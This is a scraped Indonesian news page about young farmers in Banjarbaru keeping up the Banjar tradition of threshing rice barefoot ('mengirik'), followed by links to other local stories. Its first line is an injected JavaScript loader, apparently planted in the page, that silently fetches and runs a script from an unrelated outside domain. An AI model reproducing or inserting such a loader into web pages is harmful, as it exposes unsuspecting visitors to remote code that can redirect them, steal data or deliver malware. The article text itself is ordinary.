(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Tradisi “Mengirik” Padi, Budaya Petani Banjar yang Masih Bertahan


KANALKALIMANTAN. COM, BANJARBARU
Terlihat tiga orang anak muda Kelurahan Palam, Kecamatan Cempaka, Kota Banjarbaru bersemangat mengirik padi (tradisi petani Banjar/Melayu melepaskan bulir padi/benih dengan cara diinjak pakai kaki telanjang) yang telah selesai dipanen.

Terlihat ada tumpukan 20 karung padi yang sudah selesai dilepas dari batangnya. Mengirik padi adalah sebuah budaya kerja petani Banjar yang melepaskan bulir-bulir padi tanpa bantuan mesin perontok. Tradisi mengirik padi ini mungkin sudah jarang terlihat, apalagi di daerah atau wilayah pertanian yang sudah modern. Meski berada di wilayah kota Banjarbaru tradisi pekerjaan petani melepas bulir padi setelah selesai panen itu masih bertahan di zaman serba digital saat ini.

Sekadar diketahui dengan cara diinjak kaki telanjang ini, sangat efektif dan cepat, bulir padi yang sudah matang dengan warna keemasan terlepas dari batangnya.

Seperti yang terlihat dilakukan Rahman (22) bersama adiknya Dayat (14), membantu ayahnya mengirik padi. Meski hari raya Idul Adha, Rahman bersama adiknya tetap semangat membantu orangtuanya.

Rahman mengatakan, tidak perlu memerlukan waktu yang cukup lama untuk melepas bulir-bulir padi yang masih menempel di batangnya itu. Meskipun kaki agak sakit dan gatal. Karena menginjak padi padi itu tidak menggunakan sendal atau sepatu, tetapi dengan kaki tanpa alas.

“Cuman membutuhkan waktu 1 jam, dari pukul empat tadi sampai pukul lima ada 12 karung yang kami selesaikan,” ujarnya.(kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.